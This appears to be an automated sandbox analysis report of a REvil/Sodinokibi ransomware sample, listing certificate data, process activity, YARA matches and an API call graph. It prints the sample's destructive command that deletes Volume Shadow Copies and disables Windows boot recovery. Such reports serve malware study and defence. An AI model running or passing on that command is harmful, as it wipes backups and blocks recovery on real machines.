                                                                                Aug 4, 2021 08:58:56.113616943 CEST52.42.236.180443192.168.2.349758CN=citiscapes-art.com CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBSat Jul 24 02:00:00 CEST 2021 Mon May 18 02:00:00 CEST 2015 Thu Jan 01 01:00:00 CET 2004Sat Oct 23 01:59:59 CEST 2021 Sun May 18 01:59:59 CEST 2025 Mon Jan 01 00:59:59 CET 2029771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0ce5f3254611a8c095a3d821d44539877
                                                                                CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=USCN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBMon May 18 02:00:00 CEST 2015Sun May 18 01:59:59 CEST 2025
                                                                                CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GBCN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GBThu Jan 01 01:00:00 CET 2004Mon Jan 01 00:59:59 CET 2029

                                                                                Code Manipulations

                                                                                Statistics

                                                                                CPU Usage

                                                                                Click to jump to process

                                                                                Memory Usage

                                                                                Click to jump to process

                                                                                High Level Behavior Distribution

                                                                                Click to dive into process behavior distribution

                                                                                Behavior

                                                                                Click to jump to process

                                                                                System Behavior

                                                                                General

                                                                                Start time:08:56:55
                                                                                Start date:04/08/2021
                                                                                Path:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                Wow64 process (32bit):true
                                                                                Commandline:'C:\Users\user\Desktop\NtJd0gjCZE.exe'
                                                                                Imagebase:0xb60000
                                                                                File size:164864 bytes
                                                                                MD5 hash:4AF953B20F3A1F165E7CF31D6156C035
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Yara matches:
                                                                                • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Author: Florian Roth
                                                                                • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000000.00000003.207723004.000000000301F000.00000004.00000040.sdmp, Author: Joe Security
                                                                                • Rule: MAL_RANSOM_REvil_Oct20_1, Description: Detects REvil ransomware, Source: 00000000.00000000.207430455.0000000000B61000.00000020.00020000.sdmp, Author: Florian Roth
                                                                                • Rule: JoeSecurity_Sodinokibi, Description: Yara detected Sodinokibi Ransomware, Source: 00000000.00000003.207794538.000000000301F000.00000004.00000040.sdmp, Author: Joe Security
                                                                                Reputation:low

                                                                                General

                                                                                Start time:08:58:30
                                                                                Start date:04/08/2021
                                                                                Path:C:\Windows\SysWOW64\cmd.exe
                                                                                Wow64 process (32bit):true
                                                                                Commandline:'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                                                Imagebase:0x7ff6741d0000
                                                                                File size:232960 bytes
                                                                                MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high

                                                                                General

                                                                                Start time:08:58:31
                                                                                Start date:04/08/2021
                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                Wow64 process (32bit):false
                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                Imagebase:0x7ff6b2800000
                                                                                File size:625664 bytes
                                                                                MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:high

                                                                                General

                                                                                Start time:08:58:31
                                                                                Start date:04/08/2021
                                                                                Path:C:\Windows\SysWOW64\vssadmin.exe
                                                                                Wow64 process (32bit):true
                                                                                Commandline:vssadmin.exe Delete Shadows /All /Quiet
                                                                                Imagebase:0x9b0000
                                                                                File size:110592 bytes
                                                                                MD5 hash:7E30B94672107D3381A1D175CF18C147
                                                                                Has elevated privileges:true
                                                                                Has administrator privileges:true
                                                                                Programmed in:C, C++ or other language
                                                                                Reputation:moderate

                                                                                Disassembly

                                                                                Code Analysis

                                                                                Reset < >

                                                                                  Execution Graph

                                                                                  Execution Coverage:33%
                                                                                  Dynamic/Decrypted Code Coverage:0%
                                                                                  Signature Coverage:9.9%
                                                                                  Total number of Nodes:1015
                                                                                  Total number of Limit Nodes:6

                                                                                  Graph

                                                                                  execution_graph 4708 b65d17 4711 b65d54 4708->4711 4714 b642e5 GetPEB 4711->4714 4713 b65d21 4714->4713 4715 b65cd3 4716 b65d54 GetPEB 4715->4716 4717 b65cdd 4716->4717 4718 b62f10 4719 b62f1f 4718->4719 4721 b62f1b 4718->4721 4719->4721 4722 b664f2 PathFindExtensionW 4719->4722 4723 b66507 4722->4723 4723->4721 4724 b61071 4725 b64cad 6 API calls 4724->4725 4726 b61080 4725->4726 4727 b64cff 6 API calls 4726->4727 4730 b610a0 4726->4730 4728 b61095 4727->4728 4729 b63c6b RtlFreeHeap 4728->4729 4729->4730 4734 b635df 4737 b62f5e GetSystemInfo CreateFileW 4734->4737 4736 b635f0 4738 b63046 4737->4738 4739 b62f9c CreateFileMappingW 4737->4739 4742 b63053 4738->4742 4744 b63db7 FindCloseChangeNotification 4738->4744 4739->4742 4748 b62fbf 4739->4748 4740 b63036 4740->4738 4743 b6303d UnmapViewOfFile 4740->4743 4741 b63062 DeleteFileW 4741->4736 4742->4741 4745 b63db7 FindCloseChangeNotification 4742->4745 4743->4738 4744->4742 4747 b63061 4745->4747 4746 b62fe0 MapViewOfFile 4746->4738 4746->4748 4747->4741 4748->4740 4748->4746 4749 b63009 UnmapViewOfFile 4748->4749 4749->4748 4750 b65c9a 4751 b65cb7 4750->4751 4752 b65dcf 9 API calls 4751->4752 4753 b65ccc 4752->4753 3518 b636e6 3523 b6369d 3518->3523 3520 b636ed 3540 b63eef ExitProcess 3520->3540 3524 b66a4d 3523->3524 3525 b636a2 SetErrorMode 3524->3525 3541 b6489c 3525->3541 3528 b636b3 3546 b63eef ExitProcess 3528->3546 3529 b636bd 3547 b61ac5 3529->3547 3533 b636c6 GetCurrentProcessId 3561 b66a52 3533->3561 3535 b636ba 3535->3520 3538 b636d1 3570 b64b7a GetCurrentProcess 3538->3570 3619 b64e03 3541->3619 3543 b648ba CreateMutexW 3544 b648da RtlGetLastWin32Error 3543->3544 3545 b636af 3543->3545 3544->3545 3545->3528 3545->3529 3621 b61a73 3547->3621 3549 b61b17 3549->3533 3549->3538 3550 b61ad1 3550->3549 3626 b6a4be 3550->3626 3553 b61b11 3555 b63c6b RtlFreeHeap 3553->3555 3554 b61b1c 3632 b6568f 3554->3632 3555->3549 3748 b66aad SystemTimeToFileTime 3561->3748 3564 b66a5e 3564->3538 3566 b66a67 VirtualAlloc 3569 b66a98 3566->3569 3569->3538 3765 b6464b GetPEB 3570->3765 3572 b64b8e 3573 b636d7 3572->3573 3766 b6401a OpenProcessToken 3572->3766 3594 b62e25 3573->3594 3578 b64bbe 3776 b648ef ReleaseMutex 3578->3776 3583 b64be0 3788 b6459c 3583->3788 3584 b64bd9 ExitProcess 3586 b64be5 3587 b64bfe GetForegroundWindow 3586->3587 3588 b64c45 ShellExecuteExW 3587->3588 3588->3588 3589 b64c53 3588->3589 3590 b63c6b RtlFreeHeap 3589->3590 3591 b64c59 3590->3591 3592 b63c6b RtlFreeHeap 3591->3592 3593 b64c5f ExitProcess 3592->3593 3593->3573 3803 b643c7 3594->3803 3599 b62e50 3884 b64668 CreateToolhelp32Snapshot 3599->3884 3611 b62e72 3901 b62ba0 3611->3901 3618 b62e9b 3950 b613b4 3618->3950 3620 b64e20 3619->3620 3620->3543 3622 b61a87 3621->3622 3623 b61a92 3622->3623 3649 b63c1e 3622->3649 3623->3550 3625 b61aa2 3625->3550 3631 b6a4d8 3626->3631 3627 b6b0cd 3628 b6b108 RtlFreeHeap 3627->3628 3629 b61b08 3627->3629 3628->3629 3629->3553 3629->3554 3630 b6b1b3 RtlAllocateHeap HeapCreate GetProcessHeap 3630->3631 3631->3627 3631->3629 3631->3630 3633 b656a2 3632->3633 3634 b61b58 3632->3634 3633->3634 3658 b61286 3633->3658 3662 b6119f 3633->3662 3667 b611f0 3633->3667 3672 b61320 3633->3672 3677 b61222 3633->3677 3682 b610c4 3633->3682 3689 b61254 3633->3689 3642 b6b108 3634->3642 3643 b61b64 3642->3643 3644 b6b113 3642->3644 3646 b63c6b 3643->3646 3644->3643 3645 b63c6b RtlFreeHeap 3644->3645 3645->3644 3747 b63c08 RtlFreeHeap 3646->3747 3648 b63c7c 3648->3549 3650 b63c2a HeapCreate 3649->3650 3652 b63c4d 3649->3652 3651 b63c42 GetProcessHeap 3650->3651 3650->3652 3651->3652 3655 b63bc0 3652->3655 3654 b63c67 3654->3625 3656 b63bcd RtlAllocateHeap 3655->3656 3657 b63bc9 3655->3657 3656->3654 3657->3654 3659 b612a5 3658->3659 3660 b6568f 10 API calls 3659->3660 3661 b61318 3660->3661 3661->3633 3694 b654aa 3662->3694 3665 b611ca 3665->3633 3668 b654aa 3 API calls 3667->3668 3669 b61208 3668->3669 3670 b6121b 3669->3670 3671 b65654 6 API calls 3669->3671 3670->3633 3671->3670 3673 b654aa 3 API calls 3672->3673 3674 b61338 3673->3674 3675 b6134b 3674->3675 3676 b65654 6 API calls 3674->3676 3675->3633 3676->3675 3678 b654aa 3 API calls 3677->3678 3679 b6123a 3678->3679 3680 b6124d 3679->3680 3681 b65654 6 API calls 3679->3681 3680->3633 3681->3680 3683 b64cad 6 API calls 3682->3683 3684 b610d3 3683->3684 3688 b610f3 3684->3688 3739 b64cff CryptStringToBinaryW 3684->3739 3687 b63c6b RtlFreeHeap 3687->3688 3688->3633 3690 b654aa 3 API calls 3689->3690 3691 b6126c 3690->3691 3692 b65654 6 API calls 3691->3692 3693 b6127f 3691->3693 3692->3693 3693->3633 3705 b63bdd HeapCreate 3694->3705 3696 b654b6 3697 b63bc0 RtlAllocateHeap 3696->3697 3699 b611b7 3696->3699 3698 b654ef 3697->3698 3698->3699 3706 b63bfa HeapDestroy 3698->3706 3699->3665 3701 b65654 3699->3701 3702 b65684 3701->3702 3703 b65663 3701->3703 3702->3665 3703->3702 3707 b61000 3703->3707 3705->3696 3706->3699 3708 b6100b 3707->3708 3711 b6550a 3708->3711 3712 b6551b 3711->3712 3713 b63bc0 RtlAllocateHeap 3712->3713 3720 b61014 3712->3720 3714 b65542 3713->3714 3714->3720 3725 b65182 3714->3725 3716 b65553 3717 b65562 3716->3717 3730 b64cad MultiByteToWideChar 3716->3730 3719 b63c6b RtlFreeHeap 3717->3719 3717->3720 3721 b6558d 3717->3721 3719->3721 3720->3703 3722 b63c6b RtlFreeHeap 3721->3722 3724 b6559c 3721->3724 3722->3724 3738 b63c08 RtlFreeHeap 3724->3738 3726 b6518f 3725->3726 3727 b6518b 3725->3727 3728 b63c1e 3 API calls 3726->3728 3727->3716 3729 b6519f 3728->3729 3729->3716 3731 b64ccc 3730->3731 3732 b64cf5 3730->3732 3733 b63c1e 3 API calls 3731->3733 3732->3717 3734 b64cd5 3733->3734 3734->3732 3735 b64cdc MultiByteToWideChar 3734->3735 3735->3732 3736 b64cef 3735->3736 3737 b63c6b RtlFreeHeap 3736->3737 3737->3732 3738->3720 3740 b64d22 3739->3740 3745 b610e8 3739->3745 3741 b63c1e 3 API calls 3740->3741 3742 b64d2b 3741->3742 3743 b64d32 CryptStringToBinaryW 3742->3743 3742->3745 3744 b64d50 3743->3744 3743->3745 3746 b63c6b RtlFreeHeap 3744->3746 3745->3687 3746->3745 3747->3648 3749 b66a5a 3748->3749 3750 b66af8 3748->3750 3749->3564 3762 b6456a GetNativeSystemInfo 3749->3762 3763 b6464b GetPEB 3750->3763 3752 b66afd 3753 b66b07 Wow64DisableWow64FsRedirection 3752->3753 3754 b66b19 GetSystemDirectoryW 3752->3754 3753->3749 3753->3754 3754->3749 3755 b66b2f 3754->3755 3756 b66bb5 GetFileAttributesExW 3755->3756 3758 b66be2 3755->3758 3756->3755 3757 b66bc2 CompareFileTime 3756->3757 3757->3755 3764 b6464b GetPEB 3758->3764 3760 b66bea 3760->3749 3761 b66bf4 Wow64RevertWow64FsRedirection 3760->3761 3761->3749 3762->3566 3763->3752 3764->3760 3765->3572 3767 b64037 GetTokenInformation 3766->3767 3769 b6405b 3766->3769 3799 b63db7 3767->3799 3769->3573 3770 b64122 OpenProcessToken 3769->3770 3771 b6413e GetTokenInformation 3770->3771 3772 b64177 3770->3772 3773 b64157 IsValidSid 3771->3773 3774 b64166 3771->3774 3772->3573 3772->3578 3773->3774 3775 b63db7 FindCloseChangeNotification 3774->3775 3775->3772 3777 b63db7 FindCloseChangeNotification 3776->3777 3778 b64906 3777->3778 3779 b641f5 3778->3779 3780 b63c1e 3 API calls 3779->3780 3781 b64204 3780->3781 3782 b6420f GetModuleFileNameW 3781->3782 3784 b64238 3781->3784 3785 b63c6b RtlFreeHeap 3781->3785 3787 b63c1e 3 API calls 3781->3787 3782->3781 3783 b6423a 3782->3783 3783->3784 3786 b63c6b RtlFreeHeap 3783->3786 3784->3583 3784->3584 3785->3781 3786->3784 3787->3781 3802 b63dd9 GetCommandLineW CommandLineToArgvW 3788->3802 3790 b645ab 3791 b645bb LocalFree 3790->3791 3793 b6462d 3790->3793 3794 b645c6 3790->3794 3791->3793 3792 b64624 LocalFree 3792->3793 3793->3586 3794->3792 3795 b645e7 3794->3795 3796 b63c1e 3 API calls 3795->3796 3798 b645f0 3796->3798 3797 b64619 LocalFree 3797->3793 3798->3797 3800 b63dc0 FindCloseChangeNotification 3799->3800 3801 b63dc9 3799->3801 3800->3801 3801->3769 3802->3790 3804 b64e03 3803->3804 3805 b643e5 GetCurrentProcess 3804->3805 3806 b64122 4 API calls 3805->3806 3807 b643fa 3806->3807 3811 b62e2c 3807->3811 3961 b642ec 3807->3961 3810 b64424 OpenProcessToken 3812 b64441 ImpersonateLoggedOnUser 3810->3812 3813 b64438 3810->3813 3818 b6149e 3811->3818 3814 b63db7 FindCloseChangeNotification 3812->3814 3815 b63db7 FindCloseChangeNotification 3813->3815 3816 b64453 3814->3816 3815->3811 3817 b63db7 FindCloseChangeNotification 3816->3817 3817->3811 3819 b61a73 3 API calls 3818->3819 3820 b614ad 3819->3820 3821 b6a4be 4 API calls 3820->3821 3883 b61506 3820->3883 3822 b614f4 3821->3822 3823 b61500 3822->3823 3825 b6150c 3822->3825 3824 b63c6b RtlFreeHeap 3823->3824 3824->3883 3826 b6568f 10 API calls 3825->3826 3827 b617f6 3826->3827 3828 b6b108 RtlFreeHeap 3827->3828 3829 b61807 3828->3829 3830 b63c6b RtlFreeHeap 3829->3830 3831 b6180d 3830->3831 3831->3883 3964 b621f7 3831->3964 3833 b61820 4014 b64d60 CryptBinaryToStringW 3833->4014 3838 b618a7 4034 b61b80 3838->4034 3844 b618ce 4060 b63efd 3844->4060 3845 b651b7 3 API calls 3845->3844 3848 b618eb 4068 b64063 3848->4068 3850 b651b7 3 API calls 3850->3848 3852 b61908 4079 b6417f 3852->4079 3853 b651b7 3 API calls 3853->3852 3856 b61925 3858 b6449a 8 API calls 3856->3858 3857 b651b7 3 API calls 3857->3856 3859 b61930 3858->3859 3860 b651b7 3 API calls 3859->3860 3861 b61944 3860->3861 4085 b64315 3861->4085 3864 b61961 4091 b63f3c 3864->4091 3865 b651b7 3 API calls 3865->3864 3868 b64d60 6 API calls 3869 b6197f 3868->3869 3870 b63c6b RtlFreeHeap 3869->3870 3871 b6198a 3870->3871 4097 b6456a GetNativeSystemInfo 3871->4097 3873 b6198f 4098 b62081 3873->4098 3879 b619ad 4130 b61365 3879->4130 3883->3599 3883->3618 3939 b6449a 3883->3939 3885 b64689 Process32FirstW 3884->3885 3889 b62e5d 3884->3889 3886 b646a3 3885->3886 3887 b646d0 3886->3887 3890 b646be Process32NextW 3886->3890 3888 b63db7 FindCloseChangeNotification 3887->3888 3888->3889 3891 b63e42 3889->3891 3890->3886 3892 b63e64 3891->3892 3893 b63e83 GetForegroundWindow 3892->3893 3894 b63ecf ShellExecuteExW 3893->3894 3894->3894 3895 b62e65 3894->3895 3895->3611 3896 b635fa 3895->3896 4297 b665e2 3896->4297 4444 b6610e 3901->4444 3904 b665e2 29 API calls 3905 b62c1f 3904->3905 3906 b62c32 3905->3906 3907 b6667a 32 API calls 3905->3907 3908 b62c5e 3906->3908 3910 b62c40 3906->3910 3907->3906 4457 b6605f 3908->4457 3910->3906 3910->3908 4470 b64954 Sleep 3910->4470 3911 b62c6c 3911->3618 3913 b639b0 GetDC 3911->3913 3914 b639cc CreateCompatibleDC 3913->3914 3915 b62e80 3913->3915 3916 b63bb1 ReleaseDC 3914->3916 3917 b639e1 GetDeviceCaps GetDeviceCaps CreateCompatibleBitmap 3914->3917 3915->3618 3935 b64ec4 3915->3935 3916->3915 3918 b63a15 SelectObject GetDeviceCaps MulDiv CreateFontW 3917->3918 3919 b63ba9 DeleteDC 3917->3919 3920 b63ba0 DeleteObject 3918->3920 3921 b63a59 SelectObject SetBkMode SetTextColor GetStockObject FillRect 3918->3921 3919->3916 3920->3919 3922 b63b3c DrawTextW 3921->3922 3932 b63aaf 3921->3932 4554 b638ab 3922->4554 3924 b63b70 3925 b63b97 DeleteObject 3924->3925 4572 b636f6 GetObjectW 3924->4572 3925->3920 3926 b63b36 3926->3922 3929 b6470f 9 API calls 3929->3932 3930 b63c6b RtlFreeHeap 3931 b63b96 3930->3931 3931->3925 3932->3922 3932->3926 3932->3929 3933 b6470f 9 API calls 3932->3933 3934 b63aff SetPixel 3933->3934 3934->3932 3937 b64edd 3935->3937 3936 b64f0a 3936->3618 3937->3936 4597 b626bd 3937->4597 4637 b63cd3 GetUserDefaultUILanguage GetSystemDefaultUILanguage 3939->4637 3942 b62e46 3942->3599 3949 b63eef ExitProcess 3942->3949 3943 b644b9 3944 b63c1e 3 API calls 3943->3944 3945 b644c4 3944->3945 3945->3942 3946 b644cb GetKeyboardLayoutList 3945->3946 3948 b644d7 3946->3948 3947 b63c6b RtlFreeHeap 3947->3942 3948->3942 3948->3947 3951 b613e3 3950->3951 3953 b613f3 3951->3953 4639 b653bf 3951->4639 3954 b61498 3953->3954 3955 b63c6b RtlFreeHeap 3953->3955 3956 b6446f GetCurrentProcess 3954->3956 3955->3953 3957 b64122 4 API calls 3956->3957 3958 b6447b 3957->3958 3959 b64483 RevertToSelf 3958->3959 3960 b62ea8 3958->3960 3959->3960 3960->3535 3962 b64668 4 API calls 3961->3962 3963 b6430b OpenProcess 3962->3963 3963->3810 3963->3811 3965 b6221b 3964->3965 4147 b647ce RegOpenKeyExW 3965->4147 3968 b622d1 3970 b647ce 8 API calls 3968->3970 3969 b647ce 8 API calls 3969->3968 3971 b622ed 3970->3971 3972 b6230f 3971->3972 3974 b647ce 8 API calls 3971->3974 3973 b647ce 8 API calls 3972->3973 3975 b62331 3973->3975 3974->3972 3976 b62350 3975->3976 3977 b647ce 8 API calls 3975->3977 3978 b647ce 8 API calls 3976->3978 3977->3976 3979 b6236f 3978->3979 3980 b62392 3979->3980 3981 b647ce 8 API calls 3979->3981 3995 b623d9 3980->3995 4158 b65722 3980->4158 3981->3980 3983 b62427 4161 b65ae5 3983->4161 3985 b62446 3986 b65ae5 12 API calls 3985->3986 3988 b6245e 3986->3988 3987 b625d6 3987->3833 3988->3987 4169 b6484c RegCreateKeyExW 3988->4169 3991 b624e2 3993 b6484c 3 API calls 3991->3993 3992 b6484c 3 API calls 3992->3991 3994 b62501 3993->3994 3996 b62524 3994->3996 3998 b6484c 3 API calls 3994->3998 3997 b625b0 3995->3997 4000 b63c6b RtlFreeHeap 3995->4000 3999 b6484c 3 API calls 3996->3999 4001 b625be 3997->4001 4004 b63c6b RtlFreeHeap 3997->4004 3998->3996 4002 b6253f 3999->4002 4000->3997 4003 b63c6b RtlFreeHeap 4001->4003 4005 b6255e 4002->4005 4008 b6484c 3 API calls 4002->4008 4006 b625c5 4003->4006 4004->4001 4007 b6484c 3 API calls 4005->4007 4009 b63c6b RtlFreeHeap 4006->4009 4010 b6257d 4007->4010 4008->4005 4011 b625cb 4009->4011 4010->3995 4013 b6484c 3 API calls 4010->4013 4012 b64d60 6 API calls 4011->4012 4012->3987 4013->3995 4015 b64d8b 4014->4015 4021 b61888 4014->4021 4016 b63c1e 3 API calls 4015->4016 4017 b64d97 4016->4017 4018 b64d9e CryptBinaryToStringW 4017->4018 4017->4021 4019 b64db4 4018->4019 4018->4021 4020 b63c6b RtlFreeHeap 4019->4020 4020->4021 4022 b6424e 4021->4022 4023 b63c1e 3 API calls 4022->4023 4024 b6425c 4023->4024 4025 b61895 4024->4025 4209 b64962 4024->4209 4025->3838 4029 b651b7 4025->4029 4027 b64269 4028 b642cb wsprintfW 4027->4028 4028->4025 4030 b651c0 4029->4030 4031 b651c4 4029->4031 4030->3838 4032 b63c1e 3 API calls 4031->4032 4033 b651da 4032->4033 4033->3838 4035 b61ba1 4034->4035 4036 b647ce 8 API calls 4035->4036 4037 b61bda 4036->4037 4038 b647ce 8 API calls 4037->4038 4040 b61c03 4037->4040 4038->4040 4041 b61c20 4040->4041 4044 b63c6b RtlFreeHeap 4040->4044 4052 b61c98 4040->4052 4224 b625e4 4041->4224 4043 b618b2 4053 b6438b 4043->4053 4044->4041 4045 b61c58 4049 b6484c 3 API calls 4045->4049 4046 b63c6b RtlFreeHeap 4047 b61c2a 4046->4047 4047->4043 4047->4045 4047->4046 4048 b625e4 12 API calls 4047->4048 4048->4047 4050 b61c7d 4049->4050 4051 b6484c 3 API calls 4050->4051 4050->4052 4051->4052 4232 b655af 4052->4232 4054 b63c1e 3 API calls 4053->4054 4055 b6439a 4054->4055 4056 b643a1 GetUserNameW 4055->4056 4059 b618bc 4055->4059 4057 b643b7 4056->4057 4056->4059 4058 b63c6b RtlFreeHeap 4057->4058 4058->4059 4059->3844 4059->3845 4061 b63c1e 3 API calls 4060->4061 4062 b63f09 4061->4062 4063 b63f10 GetComputerNameW 4062->4063 4064 b618d9 4062->4064 4065 b63f26 4063->4065 4066 b63f2c 4063->4066 4064->3848 4064->3850 4067 b63c6b RtlFreeHeap 4065->4067 4066->4064 4067->4066 4069 b6408a 4068->4069 4070 b647ce 8 API calls 4069->4070 4071 b640cb 4070->4071 4072 b640de 4071->4072 4074 b640e7 4071->4074 4078 b618f6 4071->4078 4073 b63c6b RtlFreeHeap 4072->4073 4073->4078 4075 b63c6b RtlFreeHeap 4074->4075 4074->4078 4076 b6410b 4075->4076 4077 b651b7 3 API calls 4076->4077 4077->4078 4078->3852 4078->3853 4080 b6419e 4079->4080 4081 b647ce 8 API calls 4080->4081 4082 b641da 4081->4082 4083 b61913 4082->4083 4084 b63c6b RtlFreeHeap 4082->4084 4083->3856 4083->3857 4084->4083 4086 b64334 4085->4086 4087 b647ce 8 API calls 4086->4087 4088 b64370 4087->4088 4089 b6194f 4088->4089 4090 b63c6b RtlFreeHeap 4088->4090 4089->3864 4089->3865 4090->4089 4092 b63f51 4091->4092 4093 b61970 4092->4093 4094 b63f99 GetDriveTypeW 4092->4094 4095 b63c1e 3 API calls 4092->4095 4096 b63fb5 GetDiskFreeSpaceExW 4092->4096 4093->3868 4094->4092 4095->4092 4096->4092 4097->3873 4259 b61cb0 4098->4259 4101 b619a3 4109 b6216b 4101->4109 4102 b64d60 6 API calls 4103 b620a8 4102->4103 4104 b63c6b RtlFreeHeap 4103->4104 4105 b620b0 4104->4105 4105->4101 4277 b64f0f 4105->4277 4107 b62147 4108 b63c6b RtlFreeHeap 4107->4108 4108->4101 4110 b62189 4109->4110 4111 b64f0f 4 API calls 4110->4111 4112 b621b1 4111->4112 4113 b651b7 3 API calls 4112->4113 4114 b621cc 4113->4114 4115 b655af 6 API calls 4114->4115 4118 b619a8 4114->4118 4116 b621e6 4115->4116 4117 b63c6b RtlFreeHeap 4116->4117 4117->4118 4119 b61e54 4118->4119 4120 b61cb0 21 API calls 4119->4120 4121 b61e67 4120->4121 4122 b64d60 6 API calls 4121->4122 4125 b61e8d 4121->4125 4123 b61e7e 4122->4123 4124 b63c6b RtlFreeHeap 4123->4124 4126 b61e86 4124->4126 4125->3879 4126->4125 4127 b64f0f 4 API calls 4126->4127 4128 b61fc5 4127->4128 4129 b63c6b RtlFreeHeap 4128->4129 4129->4125 4286 b63dd9 GetCommandLineW CommandLineToArgvW 4130->4286 4132 b613aa 4135 b61fdc 4132->4135 4133 b61376 4133->4132 4287 b63dcb LocalFree 4133->4287 4136 b61ff9 4135->4136 4137 b63c1e 3 API calls 4136->4137 4138 b62015 4137->4138 4146 b62079 4138->4146 4288 b64e64 4138->4288 4140 b6202f 4141 b651b7 3 API calls 4140->4141 4142 b62059 4141->4142 4143 b655af 6 API calls 4142->4143 4142->4146 4144 b62073 4143->4144 4145 b63c6b RtlFreeHeap 4144->4145 4145->4146 4146->3883 4148 b622a9 4147->4148 4149 b647ef RegQueryValueExW 4147->4149 4148->3968 4148->3969 4150 b6483a RegCloseKey 4149->4150 4151 b64809 4149->4151 4150->4148 4151->4150 4152 b63c1e 3 API calls 4151->4152 4153 b64814 4152->4153 4153->4150 4154 b6481b RegQueryValueExW 4153->4154 4154->4150 4155 b64831 4154->4155 4156 b63c6b RtlFreeHeap 4155->4156 4157 b64837 4156->4157 4157->4150 4172 b65775 4158->4172 4160 b6572d 4160->3983 4162 b65b00 4161->4162 4168 b65af9 4161->4168 4163 b63c1e 3 API calls 4162->4163 4164 b65b0d 4163->4164 4165 b65722 9 API calls 4164->4165 4164->4168 4166 b65b36 4165->4166 4167 b658f5 9 API calls 4166->4167 4167->4168 4168->3985 4170 b624bc 4169->4170 4171 b6486e RegSetValueExW RegCloseKey 4169->4171 4170->3991 4170->3992 4171->4170 4175 b658f5 4172->4175 4176 b6590a 4175->4176 4183 b65919 4175->4183 4187 b65886 4176->4187 4179 b6590f 4184 b65784 4179->4184 4190 b6448c RtlInitializeCriticalSection 4179->4190 4180 b6592b 4185 b65948 4180->4185 4192 b646df 4180->4192 4191 b63ee1 RtlEnterCriticalSection 4183->4191 4184->4160 4185->4184 4200 b6458e RtlLeaveCriticalSection 4185->4200 4188 b646df 6 API calls 4187->4188 4189 b65897 4188->4189 4189->4179 4190->4183 4191->4180 4201 b64a62 4192->4201 4194 b646f3 4194->4185 4195 b646ed 4195->4194 4196 b64914 CryptAcquireContextW 4195->4196 4197 b6493a CryptGenRandom 4195->4197 4198 b64930 4196->4198 4199 b6492e 4196->4199 4197->4185 4198->4197 4199->4185 4200->4184 4202 b64a9d 4201->4202 4204 b64a70 4201->4204 4202->4195 4204->4202 4205 b64aab 4204->4205 4207 b64ab6 4205->4207 4206 b64b55 timeBeginPeriod timeGetTime Sleep timeGetTime 4206->4207 4207->4206 4208 b64b42 4207->4208 4208->4204 4215 b64c6f GetWindowsDirectoryW 4209->4215 4211 b6496c 4212 b64974 GetVolumeInformationW 4211->4212 4214 b64998 4211->4214 4213 b63c6b RtlFreeHeap 4212->4213 4213->4214 4214->4027 4216 b64c82 4215->4216 4217 b64c80 4215->4217 4218 b63c1e 3 API calls 4216->4218 4217->4211 4219 b64c8c 4218->4219 4220 b64c93 GetWindowsDirectoryW 4219->4220 4221 b64ca5 4219->4221 4220->4221 4222 b64c9f 4220->4222 4221->4211 4223 b63c6b RtlFreeHeap 4222->4223 4223->4221 4225 b625f2 4224->4225 4231 b625ee 4224->4231 4246 b6470f 4225->4246 4228 b63c1e 3 API calls 4229 b62614 4228->4229 4230 b6470f 9 API calls 4229->4230 4229->4231 4230->4229 4231->4047 4233 b655c0 4232->4233 4234 b63bc0 RtlAllocateHeap 4233->4234 4237 b655c6 4233->4237 4235 b655e7 4234->4235 4235->4237 4250 b6536c WideCharToMultiByte 4235->4250 4237->4043 4239 b65607 4239->4237 4240 b65632 4239->4240 4242 b63c6b RtlFreeHeap 4239->4242 4243 b65641 4240->4243 4244 b63c6b RtlFreeHeap 4240->4244 4241 b651b7 3 API calls 4241->4239 4242->4240 4258 b63c08 RtlFreeHeap 4243->4258 4244->4243 4247 b6471f 4246->4247 4249 b625fe 4246->4249 4248 b658f5 9 API calls 4247->4248 4248->4249 4249->4228 4249->4231 4251 b6538d 4250->4251 4257 b653b5 4250->4257 4252 b63c1e 3 API calls 4251->4252 4253 b65393 4252->4253 4254 b6539a WideCharToMultiByte 4253->4254 4253->4257 4255 b653af 4254->4255 4254->4257 4256 b63c6b RtlFreeHeap 4255->4256 4256->4257 4257->4239 4257->4241 4258->4237 4260 b61cd4 4259->4260 4261 b647ce 8 API calls 4260->4261 4262 b61d0d 4261->4262 4263 b61d2d 4262->4263 4264 b647ce 8 API calls 4262->4264 4265 b61d52 4263->4265 4266 b63c1e 3 API calls 4263->4266 4264->4263 4265->4101 4265->4102 4267 b61d4b 4266->4267 4267->4265 4268 b61d76 _snwprintf 4267->4268 4269 b61df1 4268->4269 4270 b65ae5 12 API calls 4269->4270 4271 b61e00 4270->4271 4272 b63c6b RtlFreeHeap 4271->4272 4273 b61e08 